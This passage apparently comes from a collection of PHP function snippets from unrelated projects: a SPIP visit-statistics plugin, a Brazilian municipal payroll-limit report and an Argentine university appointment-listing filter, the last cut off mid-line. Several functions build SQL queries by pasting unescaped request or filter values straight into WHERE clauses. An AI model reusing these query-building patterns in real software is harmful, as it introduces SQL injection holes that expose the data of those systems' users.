$id_article);\n\t}\n\tinclude_spip('inc/securiser_action');\n\t$values['cle_ajouter_document'] = calculer_cle_action('ajouter-document-' . 'article' . '-' . $id_article);\n\n\treturn $values;\n}",
"function liste_articles_jour($date_jour, $nb_art_visites_jour, $date_maj_art, $prev_visites = '') {\r\n\tglobal $couleur_foncee, $couleur_claire;\r\n\r\n\t// fixer le nombre de ligne du tableau (tranche)\r\n\t$fl = $GLOBALS['actijour']['nbl_art'];\r\n\r\n\t// recup $vl dans URL\r\n\t$dl = intval(_request('vl'));\r\n\t$dl = ($dl + 0);\r\n\r\n\t//\r\n\t// requete liste article du jour\r\n\t$q = sql_select(\"sva.id_article, sva.date, sva.visites as visites_j, \r\n\t\t\tsa.titre, sa.visites, sa.popularite, sa.statut \r\n\t\t\tFROM spip_visites_articles sva \r\n\t\t\tLEFT JOIN spip_articles sa ON sva.id_article = sa.id_article \r\n\t\t\tWHERE sva.date='$date_jour' \r\n\t\t\tORDER BY visites_j DESC LIMIT $dl,$fl\");\r\n\r\n\t$nbart = sql_count($q);\r\n\r\n\r\n\t$aff = debut_cadre_relief(\"cal-jour.gif\", true);\r\n\r\n\t// bouton relance brut de la page\r\n\t// en attendant de passer a jquery !\r\n\tif ($date_jour == date('Y-m-d', mktime(0, 0, 0, date(\"m\"), date(\"d\"), date(\"Y\")))) {\r\n\t\t$aff .= \"<div class='bouton_maj'>\\n\"\r\n\t\t\t. \"<a href='\" . generer_url_ecrire(\"actijour_pg\") . \"'>\"\r\n\t\t\t. http_img_pack('puce-blanche.gif', 'ico', '', _T('actijour:mise_a_jour')) . \"</a>\\n\"\r\n\t\t\t. \"</div>\\n\";\r\n\t}\r\n\r\n\t// texte entete\r\n\tif (empty($date_maj_art)) {\r\n\t\t# La date du jour passé en 1er arg (jour, hier ...)\r\n\t\t$tbdate = recup_date($date_jour);\r\n\t\t$date_maj_art = date('d/m/y', mktime(0, 0, 0, $tbdate[1], $tbdate[2], $tbdate[0]));\r\n\t}\r\n\t$aff .= \"<div class='verdana3'>\"\r\n\t\t. _T('actijour:entete_tableau_art_jour', array(\r\n\t\t\t'nb_art_visites_jour' => $nb_art_visites_jour,\r\n\t\t\t'aff_date_now' => ' - ' . $date_maj_art\r\n\t\t))\r\n\t\t. \"</div>\\n\";\r\n\r\n\t// affichage tableau\r\n\tif (sql_count($q)) {\r\n\t\t// valeur de tranche affichꥉ\r\n\t\t$nba1 = $dl + 1;\r\n\t\t//\t\r\n\t\t$ifond = 0;\r\n\r\n\t\t// Presenter valeurs de la tranche de la requete\r\n\t\t$aff .= \"<div align='center' class='iconeoff verdana2 bold' style='clear:both;'>\\n\"\r\n\t\t\t. tranches_liste_art($nba1, $nb_art_visites_jour, $fl)\r\n\t\t\t. \"\\n</div>\\n\";\r\n\r\n\t\t// tableau\r\n\t\t$aff .= \"<table align='center' border='0' cellpadding='1' cellspacing='1' width='100%'>\\n\"\r\n\t\t\t. \"<tr bgcolor='$couleur_foncee' class='head_tbl'>\\n\"\r\n\t\t\t. \"<td width='7%'>\" . _T('actijour:numero_court') . \"</td>\\n\"\r\n\t\t\t. \"<td width='65%'>\" . _T('actijour:titre_article') . \"</td>\\n\"\r\n\t\t\t. \"<td width=9%>\" . _T('actijour:visites_jour') . \"</td>\\n\"\r\n\t\t\t. \"<td width=11%>\" . _T('actijour:total_visites') . \"</td>\\n\"\r\n\t\t\t. \"<td width=8%>\" . _T('actijour:popularite') . \"</td>\\n\"\r\n\t\t\t. \"</tr>\\n\";\r\n\r\n\t\t// corps du tableau\r\n\t\twhile ($row = sql_fetch($q)) {\r\n\t\t\t$visites_a = $row['visites'];\r\n\t\t\t$visites_j = $row['visites_j'];\r\n\t\t\t$id_art = $row['id_article'];\r\n\t\t\t$titre = $row['titre'];\r\n\t\t\t$etat = $row['statut'];\r\n\t\t\t// round sur popularit鍊\t\t\t$pop = round($row['popularite']);\r\n\t\t\t// Le total-visites de l'article\r\n\t\t\t#$tt_visit = $visit + $ipv;\r\n\r\n\t\t\t$ifond = $ifond ^ 1;\r\n\t\t\t$couleur = ($ifond) ? '#FFFFFF' : $couleur_claire;\r\n\r\n\t\t\t$aff .= \"<tr bgcolor='$couleur'><td width='7%'>\\n\"\r\n\t\t\t\t. \"<div align='right' class='verdana2'>\"\r\n\t\t\t\t. affiche_lien_graph($id_art, $titre, $etat, 'spip')\r\n\t\t\t\t. \"</div>\\n</td>\"\r\n\t\t\t\t. \"<td width='65%'>\\n\"\r\n\t\t\t\t. \"<div align='left' class='verdana1' style='margin-left:5px;'><b>\"\r\n\t\t\t\t. affiche_lien_graph($id_art, $titre, $etat)\r\n\t\t\t\t. \"</b></div></td>\\n\"\r\n\t\t\t\t. \"<td width='9%'>\\n\"\r\n\t\t\t\t. \"<div align='center' class='verdana2'><b>$visites_j</b></div></td>\\n\"\r\n\t\t\t\t. \"<td width='11%'>\\n\"\r\n\t\t\t\t. \"<div align='right' class='verdana1' style='margin-right:3px;'><b>$visites_a</b></div></td>\\n\"\r\n\t\t\t\t. \"<td width='8%'>\\n\"\r\n\t\t\t\t. \"<div align='center' class='verdana1'>$pop</div>\\n\"\r\n\t\t\t\t. \"</td></tr>\\n\";\r\n\t\t}\r\n\t\t$aff .= \"</table>\";\r\n\t} // aucun articles\r\n\telse {\r\n\t\t$aff .= \"<div align='center' class='iconeoff bold' style='clear:both;'>\"\r\n\t\t\t. _T('actijour:aucun_article_visite') . \"</div><br />\\n\";\r\n\t}\r\n\t$aff .= visites_pre_traitement($prev_visites);\r\n\t$aff .= fin_cadre_relief(true);\r\n\r\n\treturn $aff;\r\n}",
"public function getDados() {\n\n \t/**\n \t * Configurações do período informado.\n \t */\n $oDaoPeriodo = db_utils::getDao(\"periodo\");\n $sSqlDadosPeriodo = $oDaoPeriodo->sql_query_file($this->iCodigoPeriodo);\n $rsPeriodo = db_query($sSqlDadosPeriodo);\n $oDadosPeriodo = db_utils::fieldsMemory($rsPeriodo, 0);\n\n /**\n * Configurações do tipo de instituição da prefeitura ou câmara.\n */\n $oDaoDbConfig = db_utils::getDao(\"db_config\");\n $sWhere = \"codigo in({$this->getInstituicoes()})\";\n $sSqlDbConfig = $oDaoDbConfig->sql_query_file(null, 'db21_tipoinstit', null, $sWhere);\n $rsSqlDbConfig = $oDaoDbConfig->sql_record($sSqlDbConfig);\n $INumRowsDbConfig = $oDaoDbConfig->numrows;\n\n $iLimiteMaximo = 0;\n $iLimitePrudencial = 0;\n $nValorDespesaTotalPessoal = 0;\n $nTotalRCL = 0;\n $lTemPrefeitura = false;\n $lTemCamara = false;\n $lTemMinisterio = false;\n\n /**\n * Verifica o db21_tipoinstit para ver se é prefeitura ou câmara.\n */\n for ($iInd = 0; $iInd < $INumRowsDbConfig; $iInd++) {\n\n $oMunicipio = db_utils::fieldsMemory($rsSqlDbConfig, $iInd);\n\n if ($oMunicipio->db21_tipoinstit == 1) {\n $lTemPrefeitura = true;\n } else if ($oMunicipio->db21_tipoinstit == 2) {\n $lTemCamara = true;\n } else if ($oMunicipio->db21_tipoinstit == 101) {\n \t$lTemMinisterio = true;\n }\n }\n\n /**\n * Verifica o limite máximo (incisos I, II e III, art. 20 da LRF) {$iLimiteMaximo}%\n */\n if ($lTemPrefeitura == true && $lTemCamara == true) {\n\n if ($iLimiteMaximo == 0){\n $iLimiteMaximo = 60;\n $iLimiteMaximoAlerta = 54;\n\n }\n } else if ($lTemPrefeitura == true && $lTemCamara == false) {\n\n if ($iLimiteMaximo == 0) {\n\n $iLimiteMaximo = 54;\n $iLimiteMaximoAlerta = 48.6;\n }\n } else if ($lTemPrefeitura == false && $lTemCamara == true) {\n\n if ($iLimiteMaximo == 0) {\n $iLimiteMaximo = 6;\n $iLimiteMaximoAlerta = 5.4;\n }\n } else if ($lTemMinisterio) {\n\n if ($iLimiteMaximo == 0) {\n $iLimiteMaximo = 2;\n }\n }\n\n /**\n * Verifica o limite prudencial (parágrafo único, art. 22 da LRF) {$iLimitePrudencial}%\n */\n if ($iLimitePrudencial == 0) {\n $iLimitePrudencial = $iLimiteMaximo*95/100;\n }\n\n /**\n * Quadro de despesa bruta.\n */\n $oDespesaBruta = new stdClass();\n $oDespesaBruta->quadrodescricao = 'DESPESA BRUTA COM PESSOAL (I)';\n $oDespesaBruta->exercicio = 0;\n $oDespesaBruta->inscritas = 0;\n $oDespesaBruta->linhas = array();\n $oDespesaBruta->colunameses = $this->getDadosColuna();\n $oDespesaBruta->valorapurado = 0;\n $oDespesaBruta->percentuallimite = 0;\n $oDespesaBruta->linhatotalizadora = true;\n\n /**\n * Quadro de despesa não computadas.\n */\n $oDespesaNaoComputada = new stdClass();\n $oDespesaNaoComputada->quadrodescricao = 'DESPESAS NÃO COMPUTADAS (§ 1o do art. 19 da LRF) (II)';\n $oDespesaNaoComputada->exercicio = 0;\n $oDespesaNaoComputada->inscritas = 0;\n $oDespesaNaoComputada->linhas = array();\n $oDespesaNaoComputada->colunameses = $this->getDadosColuna();\n $oDespesaNaoComputada->valorapurado = 0;\n $oDespesaNaoComputada->percentuallimite = 0;\n $oDespesaNaoComputada->linhatotalizadora = true;\n\n /**\n * Quadro de despesa líquida.\n */\n $oDespesaLiquida = new stdClass();\n $oDespesaLiquida->quadrodescricao = 'DESPESA LÍQUIDA COM PESSOAL (III) = (I - II)';\n $oDespesaLiquida->exercicio = 0;\n $oDespesaLiquida->inscritas = 0;\n $oDespesaLiquida->linhas = array();\n $oDespesaLiquida->colunameses = $this->getDadosColuna();\n $oDespesaLiquida->valorapurado = 0;\n $oDespesaLiquida->percentuallimite = 0;\n $oDespesaLiquida->linhatotalizadora = true;\n\n /**\n * Quadro de despesa total com pessoal.\n */\n $oDespesaTotalComPessoal = new stdClass();\n $oDespesaTotalComPessoal->quadrodescricao = 'DESPESA TOTAL COM PESSOAL - DTP(V) = (IIIa + IIIb)';\n $oDespesaTotalComPessoal->exercicio = 0;\n $oDespesaTotalComPessoal->inscritas = 0;\n $oDespesaTotalComPessoal->linhas = array();\n $oDespesaTotalComPessoal->colunameses = array();\n $oDespesaTotalComPessoal->valorapurado = 0;\n $oDespesaTotalComPessoal->percentuallimite = 0;\n $oDespesaTotalComPessoal->linhatotalizadora = true;\n $oDespesaTotalComPessoal->percentualsobrercl = 0;\n\n /**\n * Quadro de receita corrente líquida.\n */\n $oReceitaTotalCorrenteLiquida = new stdClass();\n $oReceitaTotalCorrenteLiquida->quadrodescricao = 'RECEITA CORRENTE LÍQUIDA - RCL (IV)';\n $oReceitaTotalCorrenteLiquida->exercicio = 0;\n $oReceitaTotalCorrenteLiquida->inscritas = 0;\n $oReceitaTotalCorrenteLiquida->linhas = array();\n $oReceitaTotalCorrenteLiquida->colunameses = array();\n $oReceitaTotalCorrenteLiquida->valorapurado = 0;\n $oReceitaTotalCorrenteLiquida->percentuallimite = 0;\n $oReceitaTotalCorrenteLiquida->linhatotalizadora = false;\n\n /**\n * Quadro de despesa total com pessoal sem a RCL.\n */\n $oDespesaTotalComPessoalSemRCL = new stdClass();\n $oDespesaTotalComPessoalSemRCL->quadrodescricao = 'DESPESA TOTAL COM PESSOAL - DTP (V) = (III a + III b)';\n $oDespesaTotalComPessoalSemRCL->exercicio = 0;\n $oDespesaTotalComPessoalSemRCL->inscritas = 0;\n $oDespesaTotalComPessoalSemRCL->linhas = array();\n $oDespesaTotalComPessoalSemRCL->colunameses = array();\n $oDespesaTotalComPessoalSemRCL->valorapurado = 0;\n $oDespesaTotalComPessoalSemRCL->percentuallimite = 0;\n $oDespesaTotalComPessoalSemRCL->linhatotalizadora = false;\n\n /**\n * Quadro de limite máximo.\n */\n $oLimiteMaximo = new stdClass();\n $oLimiteMaximo->quadrodescricao = 'LIMITE MÁXIMO (VI) (incisos I, II e III, art. 20 da LRF)';\n $oLimiteMaximo->exercicio = 0;\n $oLimiteMaximo->inscritas = 0;\n $oLimiteMaximo->linhas = array();\n $oLimiteMaximo->colunameses = array();\n $oLimiteMaximo->valorapurado = 0;\n $oLimiteMaximo->percentuallimite = 0;\n $oLimiteMaximo->linhatotalizadora = false;\n\n /**\n * Quadro de limite prudencial.\n */\n $oLimitePrudencial = new stdClass();\n $oLimitePrudencial->quadrodescricao = 'LIMITE PRUDENCIAL (VII) = (0,95 x VI) (parágrafo único do art. 22 da LRF)';\n $oLimitePrudencial->exercicio = 0;\n $oLimitePrudencial->inscritas = 0;\n $oLimitePrudencial->linhas = array();\n $oLimitePrudencial->colunameses = array();\n $oLimitePrudencial->valorapurado = 0;\n $oLimitePrudencial->percentuallimite = 0;\n $oLimitePrudencial->linhatotalizadora = false;\n\n $oLimiteAlerta = new stdClass();\n $oLimiteAlerta->quadrodescricao = 'LIMITE DE ALERTA (VIII) = (0,90 x VI) (inciso II do §1º do art. 59 da LRF)';\n $oLimiteAlerta->exercicio = 0;\n $oLimiteAlerta->inscritas = 0;\n $oLimiteAlerta->linhas = array();\n $oLimiteAlerta->colunameses = array();\n $oLimiteAlerta->valorapurado = 0;\n $oLimiteAlerta->percentuallimite = 0;\n $oLimiteAlerta->linhatotalizadora = false;\n\n $aDadosMeses = $this->getDadosColuna();\n /**\n * Percorremos as linhas cadastradas no relatorio, e adicionamos os valores cadastrados manualmente.\n */\n $aLinhasRelatorio = $this->oRelatorioLegal->getLinhasCompleto();\n for ($iLinha = 1; $iLinha <= 7; $iLinha++) {\n\n $aLinhasRelatorio[$iLinha]->setPeriodo($this->iCodigoPeriodo);\n $aColunasRelatorio = $aLinhasRelatorio[$iLinha]->getCols($this->iCodigoPeriodo);\n\n /**\n * Monta o Object com os dados de cada linha interna do relatório.\n */\n $oLinha = new stdClass();\n switch ($iLinha) {\n\n \tcase 1:\n \t $sDescricao = ' Pessoal Ativo';\n \t break;\n\n case 2:\n $sDescricao = ' Pessoal Inativo e Pensionistas';\n break;\n\n case 3:\n $sDescricao = ' Outras despesas de pessoal decorrentes de contratos de terceirização (§ 1º do art. 18 da LRF)';\n break;\n\n case 4:\n $sDescricao = ' Indenizações por Demissão e Incentivos à Demissão Voluntária';\n break;\n\n case 5:\n $sDescricao = ' Decorrentes de Decisão Judicial de período anterior ao da apuração';\n break;\n\n case 6:\n $sDescricao = ' Despesas de Exercícios Anteriores de período anterior ao da apuração';\n break;\n\n case 7:\n $sDescricao = ' Inativos e Pensionistas com Recursos Vinculados';\n break;\n }\n\n $oLinha->descricao = $sDescricao;\n $oLinha->inscritas = 0;\n $oLinha->exercicio = 0;\n $oLinha->colunameses = $this->getDadosColuna();\n $oParametros = $aLinhasRelatorio[$iLinha]->getParametros($this->iAnoUsu,\n $this->getInstituicoes());\n /**\n * Verifica nas configurações se possui valores configurados por linha.\n */\n $aValoresColunasLinhas = $aLinhasRelatorio[$iLinha]->getValoresColunas(null, null,\n $this->getInstituicoes(),\n $this->iAnoUsu);\n foreach($aValoresColunasLinhas as $oValor) {\n\n \tif (isset($oLinha->colunameses[$oValor->colunas[0]->o117_valor])) {\n\n $oLinha->colunameses[$oValor->colunas[0]->o117_valor]->nValor += $oValor->colunas[1]->o117_valor;\n $oLinha->exercicio += $oValor->colunas[1]->o117_valor;\n $oLinha->inscritas += $oValor->colunas[2]->o117_valor;\n }\n }\n\n /**\n * Percore as colunas do período dos últimos 12 mêses.\n */\n foreach ($oLinha->colunameses as $sChaveMes => $oDadosMes) {\n\n \t/**\n \t * Informa as datas inicial e final do período.\n \t */\n $sDataInicialPeriodo = \"{$oDadosMes->iAno}-{$oDadosMes->iMes}-01\";\n $sDataFinalPeriodo = \"{$oDadosMes->iAno}-{$oDadosMes->iMes}-{$oDadosMes->iDiaFim}\";\n\n /**\n * Executa o saldo da dotação.\n */\n $sWhereDespesa = \"o58_instit in ({$this->getInstituicoes()})\";\n $rsDespesa = db_dotacaosaldo(8, 2, 3, true, $sWhereDespesa, $oDadosMes->iAno,\n $sDataInicialPeriodo, $sDataFinalPeriodo);\n\n /**\n * Verifica o saldo das contas por linha e mês do relatório\n */\n for ($iDespesa = 0; $iDespesa < pg_numrows($rsDespesa); $iDespesa++) {\n\n $oDespesa = db_utils::fieldsmemory($rsDespesa, $iDespesa);\n\n /**\n * Percorre as contas configuradas.\n */\n foreach ($oParametros->contas as $oConta) {\n\n $oVerificacao = $aLinhasRelatorio[$iLinha]->match($oConta, $oParametros->orcamento, $oDespesa, 2);\n if ($oVerificacao->match) {\n\n $oDespesaValores = clone $oDespesa;\n if ($oVerificacao->exclusao) {\n\n /**\n * Somas apenas os valor liquidados.\n */\n $oDespesaValores->liquidado *= -1;\n\n /**\n * Soma os demais valores\n */\n $oDespesaValores->liquidado_acumulado *= -1;\n $oDespesaValores->empenhado_acumulado *= -1;\n $oDespesaValores->anulado_acumulado *= -1;\n }\n\n $oLinha->colunameses[$sChaveMes]->nValor += $oDespesaValores->liquidado;\n $oLinha->exercicio += $oDespesaValores->liquidado;\n\n /**\n * Verifica totalização das inscritas do último período.\n */\n if ($oDadosPeriodo->o114_sigla == \"3Q\" || $oDadosPeriodo->o114_sigla == \"2S\"\n || $oDadosPeriodo->o114_sigla == \"DEZ\") {\n\n $aChaveMesColunaMeses = array_keys($oLinha->colunameses);\n if (trim($aChaveMesColunaMeses[11]) == trim($sChaveMes)) {\n\n $oLinha->inscritas += round(\n $oDespesaValores->empenhado_acumulado -\n $oDespesaValores->anulado_acumulado -\n $oDespesaValores->liquidado_acumulado, 2);\n }\n }\n }\n }\n }\n }\n\n /**\n * Monta as linhas dos quadros do demostrativo.\n */\n if ($iLinha <= 3) {\n $oDespesaBruta->linhas[$iLinha] = $oLinha;\n } else if ($iLinha >= 4) {\n $oDespesaNaoComputada->linhas[$iLinha] = $oLinha;\n }\n }\n\n /*\n * Calcula linhas totalizadoras da despesa bruta.\n */\n foreach ($oDespesaBruta->linhas as $oDadosLinhaDespesaBruta) {\n\n $oDespesaBruta->inscritas += $oDadosLinhaDespesaBruta->inscritas;\n $oDespesaBruta->exercicio += $oDadosLinhaDespesaBruta->exercicio;\n foreach ($oDadosLinhaDespesaBruta->colunameses as $sChaveMesDespesaBruta => $oDadosMesDespesaBruta) {\n\n \tif (isset($oDespesaBruta->colunameses[$sChaveMesDespesaBruta])) {\n $oDespesaBruta->colunameses[$sChaveMesDespesaBruta]->nValor += $oDadosMesDespesaBruta->nValor;\n \t}\n }\n }\n\n /**\n * Calcula linhas totalizadoras da despesa não computada.\n */\n foreach ($oDespesaNaoComputada->linhas as $oDadosLinhaDespesaNaoComputada) {\n\n $oDespesaNaoComputada->inscritas += $oDadosLinhaDespesaNaoComputada->inscritas;\n $oDespesaNaoComputada->exercicio += $oDadosLinhaDespesaNaoComputada->exercicio;\n foreach ($oDadosLinhaDespesaNaoComputada->colunameses as $sChaveMesDespesaNaoComputada\n => $oDadosMesDespesaNaoComputada) {\n\n if (isset($oDespesaNaoComputada->colunameses[$sChaveMesDespesaNaoComputada])) {\n $oDespesaNaoComputada->colunameses[$sChaveMesDespesaNaoComputada]\n ->nValor += $oDadosMesDespesaNaoComputada->nValor;\n }\n }\n }\n\n /**\n * Calcula linhas totalizadoras da despesa liquída.\n */\n $oDespesaLiquida->inscritas = ($oDespesaBruta->inscritas - $oDespesaNaoComputada->inscritas);\n $oDespesaLiquida->exercicio = ($oDespesaBruta->exercicio - $oDespesaNaoComputada->exercicio);\n foreach ($oDespesaLiquida->colunameses as $sChaveMesDespesaLiquida => $oDadosMesDespesaLiquida) {\n\n \tif (isset($oDespesaLiquida->colunameses[$sChaveMesDespesaLiquida])) {\n \t\t$oDespesaLiquida->colunameses[$sChaveMesDespesaLiquida]->nValor = ( $oDespesaBruta\n \t\t ->colunameses[$sChaveMesDespesaLiquida]\n \t\t ->nValor\n \t\t - $oDespesaNaoComputada\n \t\t ->colunameses[$sChaveMesDespesaLiquida]\n \t\t ->nValor );\n \t}\n }\n\n /**\n * Verifica valor RCL nas configurações da linha 8.\n */\n $aLinhasRelatorio[8]->setPeriodo($this->iCodigoPeriodo);\n $aValoresColunasLinhas = $aLinhasRelatorio[8]->getValoresColunas(null, null,\n $this->getInstituicoes(),\n $this->iAnoUsu);\n foreach($aValoresColunasLinhas as $oValor) {\n\n if (isset($oValor->colunas[0]->o117_valor)) {\n $nTotalRCL += $oValor->colunas[0]->o117_valor;\n }\n }\n\n if ($nTotalRCL == 0) {\n /**\n * Para o cálculo da RCL, a base de cálculo\n * deve ser feita por todas as instituições.\n */\n $rsInstituicoes = db_query(\"SELECT codigo FROM db_config;\");\n $oInstituicoes = db_utils::getCollectionByRecord($rsInstituicoes);\n $aInstituicoes = array();\n foreach ($oInstituicoes as $oInstituicao){\n $aInstituicoes[]= $oInstituicao->codigo;\n }\n $sInstituicoes = implode(\",\",$aInstituicoes);\n\n\t /**\n\t * Calcula RCL - duplicaReceitaaCorrenteLiquida.\n\t */\n $dtInicialAnterior = ($this->iAnoUsu-1).\"-01-01\";\n $dtFinalAnterior = ($this->iAnoUsu-1).\"-12-31\";\n\n duplicaReceitaaCorrenteLiquida($this->iAnoUsu, 81);\n\n $nTotalRCL += calcula_rcl2($this->iAnoUsu, $this->getDataInicial()->getDate(), $this->getDataFinal()->getDate(),\n $sInstituicoes, false, 81);\n $nTotalRCL += calcula_rcl2(($this->iAnoUsu-1), $dtInicialAnterior, $dtFinalAnterior,\n $sInstituicoes, false, 81, $this->getDataFinal()->getDate());\n }\n\n $nValorDespesaTotalPessoal = ($oDespesaLiquida->exercicio + $oDespesaLiquida->inscritas);\n\n /**\n * Verifica valor % despesa total com pessoal - DTP sobre a RCL (VI)=(IV/V)*100.\n */\n if ($nTotalRCL > 0) {\n $nValorDesepesaTotalPessoalSobreRCL = ($nValorDespesaTotalPessoal/$nTotalRCL)*100;\n } else {\n $nValorDesepesaTotalPessoalSobreRCL = 0;\n }\n\n $nPercentualDespesaPessoalSobreRcl = 0;\n if ($nTotalRCL > 0) {\n $nPercentualDespesaPessoalSobreRcl = ($nValorDespesaTotalPessoal * 100) / $nTotalRCL;\n }\n\n /**\n * Soma valores totail do limite maximo (incisos I, II e III, art. 20 da LRF) e\n * do limite prudencial (parágrafo único, art. 22 da LRF).\n */\n $nValorLimiteMaximo = (($nTotalRCL + 0) * $iLimiteMaximo) / 100;\n $nValorLimitePrudencial = (($nTotalRCL + 0) * $iLimitePrudencial) / 100;\n $nValorLimiteAlerta = (($nTotalRCL + 0) * $iLimiteMaximoAlerta) / 100;\n\n $oDespesaTotalComPessoal->valorapurado = $nValorDespesaTotalPessoal;\n $oDespesaTotalComPessoal->percentualsobrercl = $nPercentualDespesaPessoalSobreRcl;\n $oReceitaTotalCorrenteLiquida->valorapurado = $nTotalRCL;\n $oDespesaTotalComPessoalSemRCL->valorapurado = $nValorDesepesaTotalPessoalSobreRCL;\n $oLimiteMaximo->percentuallimite = $iLimiteMaximo;\n $oLimiteMaximo->valorapurado = $nValorLimiteMaximo;\n $oLimitePrudencial->percentuallimite = $iLimitePrudencial;\n $oLimitePrudencial->valorapurado = $nValorLimitePrudencial;\n\n $oLimiteAlerta->percentuallimite = $iLimiteMaximoAlerta;\n $oLimiteAlerta->valorapurado = $nValorLimiteAlerta;\n\n /**\n * Monta Object para retorno com todos os dados por quadro informado.\n */\n $oRetorno = new stdClass();\n $oRetorno->quadrodespesabruta = $oDespesaBruta;\n $oRetorno->quadrodespesanaocomputadas = $oDespesaNaoComputada;\n $oRetorno->quadrodespesaliquida = $oDespesaLiquida;\n $oRetorno->quadrodespesatotalcompessoal = $oDespesaTotalComPessoal;\n $oRetorno->quadroreceitatotalcorrenteliquida = $oReceitaTotalCorrenteLiquida;\n $oRetorno->quadrodespesatotalcompessoalsemrcl = $oDespesaTotalComPessoalSemRCL;\n $oRetorno->quadrolimitemaximo = $oLimiteMaximo;\n $oRetorno->quadrolimiteprudencial = $oLimitePrudencial;\n $oRetorno->quadrolimitealerta = $oLimiteAlerta;\n\n unset($aLinhasRelatorio);\n\n $this->oDados = $oRetorno;\n return $this->oDados;\n }",
"function moisActuel()\n{\n\t$dateActuelle = date(\"d/m/Y\");\n\t@list($jour, $mois, $annee) = explode('/', $dateActuelle);\n\t//$annee--;\n\t$moisActuel = $mois;\n\treturn $annee . $moisActuel;\n}",
"function get_listado_estactual($filtro=array())\n\t{ \n $concat='';\n if (isset($filtro['anio']['valor'])) {\n \t$udia=dt_mocovi_periodo_presupuestario::ultimo_dia_periodo_anio($filtro['anio']['valor']);\n $pdia=dt_mocovi_periodo_presupuestario::primer_dia_periodo_anio($filtro['anio']['valor']);\n\t\t} \n //que sea una designacion correspondiente al periodo seleccionado o anulada dentro del periodo \n $where=\" WHERE ((a.desde <= '\".$udia.\"' and (a.hasta >= '\".$pdia.\"' or a.hasta is null)) or (a.desde='\".$pdia.\"' and a.hasta is not null and a.hasta<a.desde))\";\n $where2=\" WHERE 1=1 \";//es para filtrar por estado. Lo hago al final de todo\n if (isset($filtro['uni_acad'])) {\n $concat=quote($filtro['uni_acad']['valor']);\n switch ($filtro['uni_acad']['condicion']) {\n case 'es_igual_a': $where.= \" AND a.uni_acad = \".quote($filtro['uni_acad']['valor']);break;\n case 'es_distinto_de': $where.= \" AND a.uni_acad <> \".quote($filtro['uni_acad']['valor']);break;\n }\n }\n //si el usuario esta asociado a un perfil de datos le aplica igual a su UA\n $con=\"select sigla from unidad_acad \";\n $con = toba::perfil_de_datos()->filtrar($con);\n $resul=toba::db('designa')->consultar($con);\n if(count($resul)<=1){//es usuario de una unidad academica\n $where.=\" and a.uni_acad = \".quote($resul[0]['sigla']);\n $concat=quote($resul[0]['sigla']);//para hacer el update de baja\n }\n if (isset($filtro['iddepto'])) {\n switch ($filtro['iddepto']['condicion']) {\n case 'es_igual_a': $where.= \" AND iddepto =\" .$filtro['iddepto']['valor'];break;\n case 'es_distinto_de': $where.= \" AND iddepto <>\" .$filtro['iddepto']['valor'];break;\n }\n }\n if (isset($filtro['por_permuta'])) {\n switch ($filtro['por_permuta']['condicion']) {\n case 'es_igual_a': $where.= \" AND a.por_permuta =\" .$filtro['por_permuta']['valor'];break;\n case 'es_distinto_de': $where.= \" AND a.por_permuta <>\" .$filtro['por_permuta']['valor'];break;\n }\n }\n if (isset($filtro['carac']['valor'])) {\n switch ($filtro['carac']['valor']) {\n case 'R':$c=\"'Regular'\";break;\n case 'O':$c=\"'Otro'\";break;\n case 'I':$c=\"'Interino'\";break;\n case 'S':$c=\"'Suplente'\";break;\n default:\n break;\n }\n switch ($filtro['carac']['condicion']) {\n case 'es_igual_a': $where.= \" AND a.carac=\".$c;break;\n case 'es_distinto_de': $where.= \" AND a.carac<>\".$c;break;\n }\t\n }\n if (isset($filtro['estado'])) {\n switch ($filtro['estado']['condicion']) {\n case 'es_igual_a': $where2.= \" and est like '\".$filtro['estado']['valor'].\"%'\";break;\n case 'es_distinto_de': $where2.= \" and est not like '\".$filtro['estado']['valor'].\"%'\";break;\n }\n }\n if (isset($filtro['legajo'])) {\n switch ($filtro['legajo']['condicion']) {\n case 'es_igual_a': $where.= \" and legajo = \".$filtro['legajo']['valor'];break;\n case 'es_mayor_que': $where.= \" and legajo > \".$filtro['legajo']['valor'];break;\n case 'es_mayor_igual_que': $where.= \" and legajo >= \".$filtro['legajo']['valor'];break;\n case 'es_menor_que': $where.= \" and legajo < \".$filtro['legajo']['valor'];break;\n case 'es_menor_igual_que': $where.= \" and legajo <= \".$filtro['legajo']['valor'];break;\n case 'es_distinto_de': $where.= \" and legajo <> \".$filtro['legajo']['valor'];break;\n case 'entre': $where.= \" and legajo >= \".$filtro['legajo']['valor']['desde'].\" and legajo <=\".$filtro['legajo']['valor']['hasta'];break;\n }\n } \n if (isset($filtro['docente_nombre'])) {\n switch ($filtro['docente_nombre']['condicion']) {\n case 'contiene': $where.= \" and LOWER(translate(docente_nombre,'áéíóúÁÉÍÓÚäëïöüÄËÏÖÜ','aeiouAEIOUaeiouAEIOU')) like LOWER('%\".$filtro['docente_nombre']['valor'].\"%')\";break;\n case 'no_contiene': $where.= \" and LOWER(translate(docente_nombre,'áéíóúÁÉÍÓÚäëïöüÄËÏÖÜ','aeiouAEIOUaeiouAEIOU')) not like LOWER('\".$filtro['docente_nombre']['valor'].\"')\";break;\n case 'comienza_con': $where.= \" and LOWER(translate(docente_nombre,'áéíóúÁÉÍÓÚäëïöüÄËÏÖÜ','aeiouAEIOUaeiouAEIOU')) like LOWER('\".$filtro['docente_nombre']['valor'].\"%')\";break;\n case 'termina_con': $where.= \" and LOWER(translate(docente_nombre,'áéíóúÁÉÍÓÚäëïöüÄËÏÖÜ','aeiouAEIOUaeiouAEIOU')) like LOWER('%\".$filtro['docente_nombre']['valor'].\"')\";break;\n case 'es_igual': $where.= \" and LOWER(translate(docente_nombre,'áéíóúÁÉÍÓÚäëïöüÄËÏÖÜ','aeiouAEIOUaeiouAEIOU')) == LOWER('\".$filtro['docente_nombre']['valor'].\"')\";break;\n case 'es_distinto': $where.= \" and LOWER(translate(docente_nombre,'áéíóúÁÉÍÓÚäëïöüÄËÏÖÜ','aeiouAEIOUaeiouAEIOU')) <> LOWER('\".$filtro['docente_nombre']['valor'].\"')\";break;\n }\n } \n if (isset($filtro['programa'])) {\n $sql=\"select * from mocovi_programa where id_programa=\".$filtro['programa']['valor'];\n $resul=toba::db('designa')->consultar($sql);\n switch ($filtro['programa']['condicion']) {\n case 'es_igual_a': $where.= \" AND programa =\".quote($resul[0]['nombre']);break;\n case 'es_distinto_de': $where.= \" AND programa <>\".quote($resul[0]['nombre']);break;\n }\n } \n if (isset($filtro['tipo_desig'])) {\n switch ($filtro['tipo_desig']['condicion']) {\n case 'es_igual_a': $where.=\" AND a.tipo_desig=\".$filtro['tipo_desig']['valor'];break;\n case 'es_distinto_de': $where.=\" AND a.tipo_desig 